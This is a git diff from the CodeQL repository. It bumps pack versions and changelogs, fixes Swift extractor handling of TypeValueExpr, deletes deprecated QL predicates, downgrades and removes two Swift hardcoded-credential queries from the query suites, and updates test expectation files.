--git a/shared/util/codeql/util/test/InlineExpectationsTest.qll b/shared/util/codeql/util/test/InlineExpectationsTest.qll index 56ac6ea32279..fbbad8f25b78 100644 --- a/shared/util/codeql/util/test/InlineExpectationsTest.qll +++ b/shared/util/codeql/util/test/InlineExpectationsTest.qll @@ -627,11 +627,11 @@ private string mainResultSet() { result = ["#select", "problems"] } * to be matched. */ module TestPostProcessing { - external predicate queryResults(string relation, int row, int column, string data); + external private predicate queryResults(string relation, int row, int column, string data); - external predicate queryRelations(string relation); + external private predicate queryRelations(string relation); - external predicate queryMetadata(string key, string value); + external private predicate queryMetadata(string key, string value); private string getQueryId() { queryMetadata("id", result) } diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index 6187f53a9c52..f400be0abdff 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.10 +version: 2.0.12 groups: shared library: true dependencies: null diff --git a/shared/xml/CHANGELOG.md b/shared/xml/CHANGELOG.md index bdb83dc88300..1af448dd16d8 100644 --- a/shared/xml/CHANGELOG.md +++ b/shared/xml/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/xml/change-notes/released/1.0.24.md b/shared/xml/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/xml/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/xml/change-notes/released/1.0.25.md b/shared/xml/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/xml/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/xml/codeql-pack.release.yml b/shared/xml/codeql-pack.release.yml index 0f96ba41d168..a5a44030e851 100644 --- a/shared/xml/codeql-pack.release.yml +++ b/shared/xml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index 2555d030028a..e6cb9a17961a 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.23 +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/yaml/CHANGELOG.md b/shared/yaml/CHANGELOG.md index 28ca258e0d54..7944d8a4a2fb 100644 --- a/shared/yaml/CHANGELOG.md +++ b/shared/yaml/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/yaml/change-notes/released/1.0.24.md b/shared/yaml/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/yaml/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/yaml/change-notes/released/1.0.25.md b/shared/yaml/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/yaml/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/yaml/codeql-pack.release.yml b/shared/yaml/codeql-pack.release.yml index 0f96ba41d168..a5a44030e851 100644 --- a/shared/yaml/codeql-pack.release.yml +++ b/shared/yaml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index f1cb000d7401..cf91193f6aec 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.23 +version: 1.0.25 groups: shared library: true warnOnImplicitThis: true diff --git a/swift/extractor/translators/ExprTranslator.cpp b/swift/extractor/translators/ExprTranslator.cpp index 30cca659a8c9..15a6765e5fc9 100644 --- a/swift/extractor/translators/ExprTranslator.cpp +++ b/swift/extractor/translators/ExprTranslator.cpp @@ -691,7 +691,9 @@ codeql::CurrentContextIsolationExpr ExprTranslator::translateCurrentContextIsola codeql::TypeValueExpr ExprTranslator::translateTypeValueExpr(const swift::TypeValueExpr& expr) { auto entry = createExprEntry(expr); - entry.type_repr = dispatcher.fetchLabel(expr.getParamTypeRepr()); + if (expr.getParamTypeRepr() && expr.getParamType()) { + entry.type_repr = dispatcher.fetchLabel(expr.getParamTypeRepr(), expr.getParamType()); + } return entry; } diff --git a/swift/ql/integration-tests/posix/query-suite/not_included_in_qls.expected b/swift/ql/integration-tests/posix/query-suite/not_included_in_qls.expected index 64c776d96d1d..ced293a493b9 100644 --- a/swift/ql/integration-tests/posix/query-suite/not_included_in_qls.expected +++ b/swift/ql/integration-tests/posix/query-suite/not_included_in_qls.expected @@ -1,5 +1,7 @@ ql/swift/ql/src/AlertSuppression.ql ql/swift/ql/src/experimental/Security/CWE-022/UnsafeUnpack.ql +ql/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql +ql/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql ql/swift/ql/src/queries/Summary/FlowSources.ql ql/swift/ql/src/queries/Summary/QuerySinks.ql ql/swift/ql/src/queries/Summary/RegexEvals.ql diff --git a/swift/ql/integration-tests/posix/query-suite/swift-code-scanning.qls.expected b/swift/ql/integration-tests/posix/query-suite/swift-code-scanning.qls.expected index bee12dbfb8fa..7b2583382006 100644 --- a/swift/ql/integration-tests/posix/query-suite/swift-code-scanning.qls.expected +++ b/swift/ql/integration-tests/posix/query-suite/swift-code-scanning.qls.expected @@ -14,12 +14,10 @@ ql/swift/ql/src/queries/Security/CWE-1204/StaticInitializationVector.ql ql/swift/ql/src/queries/Security/CWE-1333/ReDoS.ql ql/swift/ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql ql/swift/ql/src/queries/Security/CWE-135/StringLengthConflation.ql -ql/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql ql/swift/ql/src/queries/Security/CWE-311/CleartextStorageDatabase.ql ql/swift/ql/src/queries/Security/CWE-311/CleartextTransmission.ql ql/swift/ql/src/queries/Security/CWE-312/CleartextLogging.ql ql/swift/ql/src/queries/Security/CWE-312/CleartextStoragePreferences.ql -ql/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql ql/swift/ql/src/queries/Security/CWE-327/ECBEncryption.ql ql/swift/ql/src/queries/Security/CWE-328/WeakPasswordHashing.ql ql/swift/ql/src/queries/Security/CWE-328/WeakSensitiveDataHashing.ql diff --git a/swift/ql/integration-tests/posix/query-suite/swift-security-and-quality.qls.expected b/swift/ql/integration-tests/posix/query-suite/swift-security-and-quality.qls.expected index 412d0816affc..f1d01d4d0658 100644 --- a/swift/ql/integration-tests/posix/query-suite/swift-security-and-quality.qls.expected +++ b/swift/ql/integration-tests/posix/query-suite/swift-security-and-quality.qls.expected @@ -15,12 +15,10 @@ ql/swift/ql/src/queries/Security/CWE-1204/StaticInitializationVector.ql ql/swift/ql/src/queries/Security/CWE-1333/ReDoS.ql ql/swift/ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql ql/swift/ql/src/queries/Security/CWE-135/StringLengthConflation.ql -ql/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql ql/swift/ql/src/queries/Security/CWE-311/CleartextStorageDatabase.ql ql/swift/ql/src/queries/Security/CWE-311/CleartextTransmission.ql ql/swift/ql/src/queries/Security/CWE-312/CleartextLogging.ql ql/swift/ql/src/queries/Security/CWE-312/CleartextStoragePreferences.ql -ql/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql ql/swift/ql/src/queries/Security/CWE-327/ECBEncryption.ql ql/swift/ql/src/queries/Security/CWE-328/WeakPasswordHashing.ql ql/swift/ql/src/queries/Security/CWE-328/WeakSensitiveDataHashing.ql diff --git a/swift/ql/integration-tests/posix/query-suite/swift-security-extended.qls.expected b/swift/ql/integration-tests/posix/query-suite/swift-security-extended.qls.expected index 412d0816affc..f1d01d4d0658 100644 --- a/swift/ql/integration-tests/posix/query-suite/swift-security-extended.qls.expected +++ b/swift/ql/integration-tests/posix/query-suite/swift-security-extended.qls.expected @@ -15,12 +15,10 @@ ql/swift/ql/src/queries/Security/CWE-1204/StaticInitializationVector.ql ql/swift/ql/src/queries/Security/CWE-1333/ReDoS.ql ql/swift/ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql ql/swift/ql/src/queries/Security/CWE-135/StringLengthConflation.ql -ql/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql ql/swift/ql/src/queries/Security/CWE-311/CleartextStorageDatabase.ql ql/swift/ql/src/queries/Security/CWE-311/CleartextTransmission.ql ql/swift/ql/src/queries/Security/CWE-312/CleartextLogging.ql ql/swift/ql/src/queries/Security/CWE-312/CleartextStoragePreferences.ql -ql/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql ql/swift/ql/src/queries/Security/CWE-327/ECBEncryption.ql ql/swift/ql/src/queries/Security/CWE-328/WeakPasswordHashing.ql ql/swift/ql/src/queries/Security/CWE-328/WeakSensitiveDataHashing.ql diff --git a/swift/ql/lib/CHANGELOG.md b/swift/ql/lib/CHANGELOG.md index 36f0bc8e5fd5..bc63ecb86b43 100644 --- a/swift/ql/lib/CHANGELOG.md +++ b/swift/ql/lib/CHANGELOG.md @@ -1,3 +1,26 @@ +## 5.0.1 + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.2. + +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `parseContent` predicate from the `ExternalFlow.qll`. +* Deleted the deprecated `hasLocationInfo` predicate from the `DataFlowPublic.qll`. +* Deleted the deprecated `SummaryComponent` class from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponentStack` class from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponent` module from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponentStack` module from the `FlowSummary.qll`. +* Deleted the deprecated `RequiredSummaryComponentStack` class from the `FlowSummary.qll`. + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.1. +* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library + ## 4.3.0 ### New Features @@ -13,7 +36,7 @@ ### Minor Analysis Improvements * Added AST nodes `ActorIsolationErasureExpr`, `CurrentContextIsolationExpr`, - `ExtracFunctionIsolationExpr` and `UnreachableExpr` that correspond to new nodes + `ExtractFunctionIsolationExpr` and `UnreachableExpr` that correspond to new nodes added by Swift 6.0. ## 4.1.4 diff --git a/swift/ql/lib/change-notes/released/4.2.0.md b/swift/ql/lib/change-notes/released/4.2.0.md index 734840c93183..935d4b5e8323 100644 --- a/swift/ql/lib/change-notes/released/4.2.0.md +++ b/swift/ql/lib/change-notes/released/4.2.0.md @@ -7,5 +7,5 @@ ### Minor Analysis Improvements * Added AST nodes `ActorIsolationErasureExpr`, `CurrentContextIsolationExpr`, - `ExtracFunctionIsolationExpr` and `UnreachableExpr` that correspond to new nodes + `ExtractFunctionIsolationExpr` and `UnreachableExpr` that correspond to new nodes added by Swift 6.0. diff --git a/swift/ql/lib/change-notes/released/5.0.0.md b/swift/ql/lib/change-notes/released/5.0.0.md new file mode 100644 index 000000000000..7215a40e3960 --- /dev/null +++ b/swift/ql/lib/change-notes/released/5.0.0.md @@ -0,0 +1,16 @@ +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `parseContent` predicate from the `ExternalFlow.qll`. +* Deleted the deprecated `hasLocationInfo` predicate from the `DataFlowPublic.qll`. +* Deleted the deprecated `SummaryComponent` class from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponentStack` class from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponent` module from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponentStack` module from the `FlowSummary.qll`. +* Deleted the deprecated `RequiredSummaryComponentStack` class from the `FlowSummary.qll`. + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.1. +* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library diff --git a/swift/ql/lib/change-notes/released/5.0.1.md b/swift/ql/lib/change-notes/released/5.0.1.md new file mode 100644 index 000000000000..b27dae0871de --- /dev/null +++ b/swift/ql/lib/change-notes/released/5.0.1.md @@ -0,0 +1,5 @@ +## 5.0.1 + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.2. diff --git a/swift/ql/lib/codeql-pack.release.yml b/swift/ql/lib/codeql-pack.release.yml index c46c103a0bd7..ae7df5e18b78 100644 --- a/swift/ql/lib/codeql-pack.release.yml +++ b/swift/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.3.0 +lastReleaseVersion: 5.0.1 diff --git a/swift/ql/lib/codeql/swift/controlflow/internal/ControlFlowGraphImpl.qll b/swift/ql/lib/codeql/swift/controlflow/internal/ControlFlowGraphImpl.qll index 3d2b33e88906..b610ff0b0f3d 100644 --- a/swift/ql/lib/codeql/swift/controlflow/internal/ControlFlowGraphImpl.qll +++ b/swift/ql/lib/codeql/swift/controlflow/internal/ControlFlowGraphImpl.qll @@ -1884,6 +1884,10 @@ module Exprs { } } + private class TypeValueTree extends AstLeafTree { + override TypeValueExpr ast; + } + module Conversions { class ConversionOrIdentity = Synth::TIdentityExpr or Synth::TExplicitCastExpr or Synth::TImplicitConversionExpr or diff --git a/swift/ql/lib/codeql/swift/dataflow/ExternalFlow.qll b/swift/ql/lib/codeql/swift/dataflow/ExternalFlow.qll index f396f9536e82..7fac65ecde5d 100644 --- a/swift/ql/lib/codeql/swift/dataflow/ExternalFlow.qll +++ b/swift/ql/lib/codeql/swift/dataflow/ExternalFlow.qll @@ -446,44 +446,6 @@ Element interpretElement( ) } -deprecated private predicate parseField(AccessPathToken c, Content::FieldContent f) { - exists(string fieldRegex, string name | - c.getName() = "Field" and - fieldRegex = "^([^.]+)$" and - name = c.getAnArgument().regexpCapture(fieldRegex, 1) and - f.getField().getName() = name - ) -} - -deprecated private predicate parseTuple(AccessPathToken c, Content::TupleContent t) { - c.getName() = "TupleElement" and - t.getIndex() = c.getAnArgument().toInt() -} - -deprecated private predicate parseEnum(AccessPathToken c, Content::EnumContent e) { - c.getName() = "EnumElement" and - c.getAnArgument() = e.getSignature() - or - c.getName() = "OptionalSome" and - e.getSignature() = "some:0" -} - -/** Holds if the specification component parses as a `Content`. */ -deprecated predicate parseContent(AccessPathToken component, Content content) { - parseField(component, content) - or - parseTuple(component, content) - or - parseEnum(component, content) - or - // map legacy "ArrayElement" specification components to `CollectionContent` - component.getName() = "ArrayElement" and - content instanceof Content::CollectionContent - or - component.getName() = "CollectionElement" and - content instanceof Content::CollectionContent -} - cached private module Cached { /** diff --git a/swift/ql/lib/codeql/swift/dataflow/FlowSummary.qll b/swift/ql/lib/codeql/swift/dataflow/FlowSummary.qll index fadee4aee6f4..0cec06a7c9cc 100644 --- a/swift/ql/lib/codeql/swift/dataflow/FlowSummary.qll +++ b/swift/ql/lib/codeql/swift/dataflow/FlowSummary.qll @@ -13,14 +13,4 @@ private module Summaries { private import codeql.swift.frameworks.Frameworks } -deprecated class SummaryComponent = Impl::Private::SummaryComponent; - -deprecated module SummaryComponent = Impl::Private::SummaryComponent; - -deprecated class SummaryComponentStack = Impl::Private::SummaryComponentStack; - -deprecated module SummaryComponentStack = Impl::Private::SummaryComponentStack; - class SummarizedCallable = Impl::Public::SummarizedCallable; - -deprecated class RequiredSummaryComponentStack = Impl::Private::RequiredSummaryComponentStack; diff --git a/swift/ql/lib/codeql/swift/dataflow/internal/DataFlowPublic.qll b/swift/ql/lib/codeql/swift/dataflow/internal/DataFlowPublic.qll index b14bd5d5f592..0c5a4fbb2a63 100644 --- a/swift/ql/lib/codeql/swift/dataflow/internal/DataFlowPublic.qll +++ b/swift/ql/lib/codeql/swift/dataflow/internal/DataFlowPublic.qll @@ -19,19 +19,6 @@ class Node extends TNode { cached final Location getLocation() { result = this.(NodeImpl).getLocationImpl() } - /** - * Holds if this element is at the specified location. - * The location spans column `startcolumn` of line `startline` to - * column `endcolumn` of line `endline` in file `filepath`. - * For more information, see - * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). - */ - deprecated predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - this.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) - } - /** * Gets the expression that corresponds to this node, if any. */ diff --git a/swift/ql/lib/codeql/swift/security/WeakSensitiveDataHashingQuery.qll b/swift/ql/lib/codeql/swift/security/WeakSensitiveDataHashingQuery.qll index 5aba8ffa1b09..ade9d9f1437d 100755 --- a/swift/ql/lib/codeql/swift/security/WeakSensitiveDataHashingQuery.qll +++ b/swift/ql/lib/codeql/swift/security/WeakSensitiveDataHashingQuery.qll @@ -40,8 +40,4 @@ module WeakSensitiveDataHashingConfig implements DataFlow::ConfigSig { } } -deprecated module WeakHashingConfig = WeakSensitiveDataHashingConfig; - module WeakSensitiveDataHashingFlow = TaintTracking::Global; - -deprecated module WeakHashingFlow = WeakSensitiveDataHashingFlow; diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index baa74b0a388d..8c4f32eb0d20 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 4.3.0 +version: 5.0.1 groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/CHANGELOG.md b/swift/ql/src/CHANGELOG.md index 7910cf095ce7..54ed582d8d9b 100644 --- a/swift/ql/src/CHANGELOG.md +++ b/swift/ql/src/CHANGELOG.md @@ -1,3 +1,13 @@ +## 1.1.5 + +No user-facing changes. + +## 1.1.4 + +### Minor Analysis Improvements + +* The queries `swift/hardcoded-key` and `swift/constant-password` have been removed from all query suites. + ## 1.1.3 No user-facing changes. diff --git a/swift/ql/src/change-notes/released/1.1.4.md b/swift/ql/src/change-notes/released/1.1.4.md new file mode 100644 index 000000000000..2a8b2c9cda66 --- /dev/null +++ b/swift/ql/src/change-notes/released/1.1.4.md @@ -0,0 +1,5 @@ +## 1.1.4 + +### Minor Analysis Improvements + +* The queries `swift/hardcoded-key` and `swift/constant-password` have been removed from all query suites. diff --git a/swift/ql/src/change-notes/released/1.1.5.md b/swift/ql/src/change-notes/released/1.1.5.md new file mode 100644 index 000000000000..11a52a121d13 --- /dev/null +++ b/swift/ql/src/change-notes/released/1.1.5.md @@ -0,0 +1,3 @@ +## 1.1.5 + +No user-facing changes. diff --git a/swift/ql/src/codeql-pack.release.yml b/swift/ql/src/codeql-pack.release.yml index 35e710ab1bf0..df39a9de059d 100644 --- a/swift/ql/src/codeql-pack.release.yml +++ b/swift/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.3 +lastReleaseVersion: 1.1.5 diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 513b7054ed13..9c1b33791a23 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.3 +version: 1.1.5 groups: - swift - queries diff --git a/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql b/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql index 4eb9e4548ec9..1eb42b301a9f 100644 --- a/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql +++ b/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql @@ -4,7 +4,7 @@ * @kind path-problem * @problem.severity error * @security-severity 6.8 - * @precision high + * @precision low * @id swift/constant-password * @tags security * external/cwe/cwe-259 diff --git a/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql b/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql index f157478fc8ea..f6758f94bb27 100644 --- a/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql +++ b/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql @@ -4,7 +4,7 @@ * @kind path-problem * @problem.severity error * @security-severity 8.1 - * @precision high + * @precision low * @id swift/hardcoded-key * @tags security * external/cwe/cwe-321 diff --git a/swift/ql/test/extractor-tests/generated/expr/TypeValueExpr/TypeValueExpr.expected b/swift/ql/test/extractor-tests/generated/expr/TypeValueExpr/TypeValueExpr.expected index fa57faafb196..685ff810fcfa 100644 --- a/swift/ql/test/extractor-tests/generated/expr/TypeValueExpr/TypeValueExpr.expected +++ b/swift/ql/test/extractor-tests/generated/expr/TypeValueExpr/TypeValueExpr.expected @@ -1,2 +1,2 @@ -| type_value_exprs.swift:4:13:4:13 | TypeValueExpr | hasType: | yes | getTypeRepr: | type_value_exprs.swift:4:13:4:13 | (no string representation) | -| type_value_exprs.swift:5:13:5:13 | TypeValueExpr | hasType: | yes | getTypeRepr: | type_value_exprs.swift:5:13:5:13 | (no string representation) | +| type_value_exprs.swift:4:13:4:13 | TypeValueExpr | hasType: | yes | getTypeRepr: | type_value_exprs.swift:4:13:4:13 | N | +| type_value_exprs.swift:5:13:5:13 | TypeValueExpr | hasType: | yes | getTypeRepr: | type_value_exprs.swift:5:13:5:13 | N | diff --git a/swift/ql/test/library-tests/ast/PrintAst.expected b/swift/ql/test/library-tests/ast/PrintAst.expected index f3f0aa1cfd2a..f0383c005c32 100644 --- a/swift/ql/test/library-tests/ast/PrintAst.expected +++ b/swift/ql/test/library-tests/ast/PrintAst.expected @@ -521,15 +521,15 @@ cfg.swift: # 113| Type = Int # 114| getVariable(4): [ConcreteVarDecl] n4 # 114| Type = Int -# 116| getVariable(5): [ConcreteVarDecl] n5 +# 115| getVariable(5): [ConcreteVarDecl] n5 +# 115| Type = Int +# 116| getVariable(6): [ConcreteVarDecl] n6 # 116| Type = Int -# 117| getVariable(6): [ConcreteVarDecl] n6 -# 117| Type = Int -# 118| getVariable(7): [ConcreteVarDecl] n7 +# 118| getVariable(7): [ConcreteVarDecl] n8 # 118| Type = Int -# 119| getVariable(8): [ConcreteVarDecl] n8 -# 119| Type = Int -# 121| getVariable(9): [ConcreteVarDecl] n9 +# 120| getVariable(8): [ConcreteVarDecl] n9 +# 120| Type = Int +# 121| getVariable(9): [ConcreteVarDecl] n7 # 121| Type = Int # 122| getVariable(10): [ConcreteVarDecl] n10 # 122| Type = Int @@ -584,33 +584,33 @@ cfg.swift: # 114| getBase().getFullyConverted(): [DotSelfExpr] .self # 114| getMethodRef(): [DeclRefExpr] getMyInt() # 114| getPattern(0): [NamedPattern] n4 -# 116| getElement(5): [PatternBindingDecl] var ... = ... +# 115| getElement(5): [PatternBindingDecl] var ... = ... +# 115| getInit(0): [MemberRefExpr] .myInt +# 115| getBase(): [DeclRefExpr] param +# 115| getPattern(0): [NamedPattern] n5 +# 116| getElement(6): [PatternBindingDecl] var ... = ... # 116| getInit(0): [MemberRefExpr] .myInt # 116| getBase(): [DeclRefExpr] param -# 116| getPattern(0): [NamedPattern] n5 -# 117| getElement(6): [PatternBindingDecl] var ... = ... -# 117| getInit(0): [MemberRefExpr] .myInt -# 117| getBase(): [DeclRefExpr] param -# 117| getBase().getFullyConverted(): [DotSelfExpr] .self -# 117| getPattern(0): [NamedPattern] n6 +# 116| getBase().getFullyConverted(): [DotSelfExpr] .self +# 116| getPattern(0): [NamedPattern] n6 # 118| getElement(7): [PatternBindingDecl] var ... = ... # 118| getInit(0): [CallExpr] call to getMyInt() # 118| getFunction(): [MethodLookupExpr] .getMyInt() # 118| getBase(): [DeclRefExpr] param +# 118| getBase().getFullyConverted(): [DotSelfExpr] .self # 118| getMethodRef(): [DeclRefExpr] getMyInt() -# 118| getPattern(0): [NamedPattern] n7 -# 119| getElement(8): [PatternBindingDecl] var ... = ... -# 119| getInit(0): [CallExpr] call to getMyInt() -# 119| getFunction(): [MethodLookupExpr] .getMyInt() -# 119| getBase(): [DeclRefExpr] param -# 119| getBase().getFullyConverted(): [DotSelfExpr] .self -# 119| getMethodRef(): [DeclRefExpr] getMyInt() -# 119| getPattern(0): [NamedPattern] n8 +# 118| getPattern(0): [NamedPattern] n8 +# 120| getElement(8): [PatternBindingDecl] var ... = ... +# 120| getInit(0): [MemberRefExpr] .myInt +# 120| getBase(): [DeclRefExpr] inoutParam +# 120| getBase().getFullyConverted(): [LoadExpr] (C) ... +# 120| getPattern(0): [NamedPattern] n9 # 121| getElement(9): [PatternBindingDecl] var ... = ... -# 121| getInit(0): [MemberRefExpr] .myInt -# 121| getBase(): [DeclRefExpr] inoutParam -# 121| getBase().getFullyConverted(): [LoadExpr] (C) ... -# 121| getPattern(0): [NamedPattern] n9 +# 121| getInit(0): [CallExpr] call to getMyInt() +# 121| getFunction(): [MethodLookupExpr] .getMyInt() +# 121| getBase(): [DeclRefExpr] param +# 121| getMethodRef(): [DeclRefExpr] getMyInt() +# 121| getPattern(0): [NamedPattern] n7 # 122| getElement(10): [PatternBindingDecl] var ... = ... # 122| getInit(0): [MemberRefExpr] .myInt # 122| getBase(): [DeclRefExpr] inoutParam @@ -3307,11 +3307,13 @@ cfg.swift: # 533| getBase().getFullyConverted(): [LoadExpr] (AsyncStream) ... #-----| getMethodRef(): [DeclRefExpr] makeAsyncIterator() # 533| getPattern(0): [NamedPattern] $i$generator -# 533| getNextCall(): [CallExpr] call to next() -# 533| getFunction(): [MethodLookupExpr] .next() +# 533| getNextCall(): [CallExpr] call to next(isolation:) +# 533| getFunction(): [MethodLookupExpr] .next(isolation:) # 533| getBase(): [DeclRefExpr] $i$generator # 533| getBase().getFullyConverted(): [InOutExpr] &... -#-----| getMethodRef(): [DeclRefExpr] next() +#-----| getMethodRef(): [DeclRefExpr] next(isolation:) +# 533| getArgument(0): [Argument] isolation: CurrentContextIsolationExpr +# 533| getExpr(): [CurrentContextIsolationExpr] CurrentContextIsolationExpr # 533| getNextCall().getFullyConverted(): [AwaitExpr] await ... # 533| getBody(): [BraceStmt] { ... } # 534| getElement(0): [CallExpr] call to print(_:separator:terminator:) @@ -3326,6 +3328,7 @@ cfg.swift: # 534| getArgument(2): [Argument] terminator: default terminator # 534| getExpr(): [DefaultArgumentExpr] default terminator # 525| [NilLiteralExpr] nil +# 533| [NilLiteralExpr] nil # 538| [NamedFunction] testNilCoalescing(x:) # 538| InterfaceType = (Int?) -> Int # 538| getParam(0): [ParamDecl] x @@ -3543,6 +3546,83 @@ cfg.swift: # 582| Type = Int # 587| [Comment] // --- # 587| +# 589| [Comment] //codeql-extractor-options: -enable-experimental-feature ValueGenerics -disable-availability-checking +# 589| +# 590| [StructDecl] ValueGenericsStruct +# 590| getGenericTypeParam(0): [GenericTypeParamDecl] N +# 591| getMember(0): [PatternBindingDecl] var ... = ... +# 591| getInit(0): [TypeValueExpr] TypeValueExpr +# 591| getTypeRepr(): [TypeRepr] N +# 591| getPattern(0): [NamedPattern] x +# 591| getMember(1): [ConcreteVarDecl] x +# 591| Type = Int +# 591| getAccessor(0): [Accessor] get +# 591| InterfaceType = (ValueGenericsStruct) -> () -> Int +# 591| getSelfParam(): [ParamDecl] self +# 591| Type = ValueGenericsStruct +# 591| getBody(): [BraceStmt] { ... } +#-----| getElement(0): [ReturnStmt] return ... +#-----| getResult(): [MemberRefExpr] .x +#-----| getBase(): [DeclRefExpr] self +# 591| getAccessor(1): [Accessor] set +# 591| InterfaceType = (inout ValueGenericsStruct) -> (Int) -> () +# 591| getSelfParam(): [ParamDecl] self +# 591| Type = ValueGenericsStruct +# 591| getParam(0): [ParamDecl] value +# 591| Type = Int +# 591| getBody(): [BraceStmt] { ... } +#-----| getElement(0): [AssignExpr] ... = ... +#-----| getDest(): [MemberRefExpr] .x +#-----| getBase(): [DeclRefExpr] self +#-----| getSource(): [DeclRefExpr] value +# 591| getAccessor(2): [Accessor] _modify +# 591| InterfaceType = (inout ValueGenericsStruct) -> () -> () +# 591| getSelfParam(): [ParamDecl] self +# 591| Type = ValueGenericsStruct +# 591| getBody(): [BraceStmt] { ... } +# 591| getElement(0): [YieldStmt] yield ... +#-----| getResult(0): [MemberRefExpr] .x +#-----| getBase(): [DeclRefExpr] self +#-----| getResult(0).getFullyConverted(): [InOutExpr] &... +# 590| getMember(2): [Initializer] ValueGenericsStruct.init(x:) +# 590| InterfaceType = (ValueGenericsStruct.Type) -> (Int) -> ValueGenericsStruct +# 590| getSelfParam(): [ParamDecl] self +# 590| Type = ValueGenericsStruct +# 590| getParam(0): [ParamDecl] x +# 590| Type = Int +# 590| getMember(3): [Initializer] ValueGenericsStruct.init() +# 590| InterfaceType = (ValueGenericsStruct.Type) -> () -> ValueGenericsStruct +# 590| getSelfParam(): [ParamDecl] self +# 590| Type = ValueGenericsStruct +# 590| getBody(): [BraceStmt] { ... } +# 590| getElement(0): [ReturnStmt] return +# 594| [NamedFunction] valueGenericsFn(_:) +# 594| InterfaceType = (ValueGenericsStruct) -> () +# 594| getGenericTypeParam(0): [GenericTypeParamDecl] N +# 594| getParam(0): [ParamDecl] value +# 594| Type = ValueGenericsStruct +# 594| getBody(): [BraceStmt] { ... } +# 595| getVariable(0): [ConcreteVarDecl] x +# 595| Type = Int +# 595| getElement(0): [PatternBindingDecl] var ... = ... +# 595| getInit(0): [TypeValueExpr] TypeValueExpr +# 595| getTypeRepr(): [TypeRepr] N +# 595| getPattern(0): [NamedPattern] x +# 596| getElement(1): [CallExpr] call to print(_:separator:terminator:) +# 596| getFunction(): [DeclRefExpr] print(_:separator:terminator:) +# 596| getArgument(0): 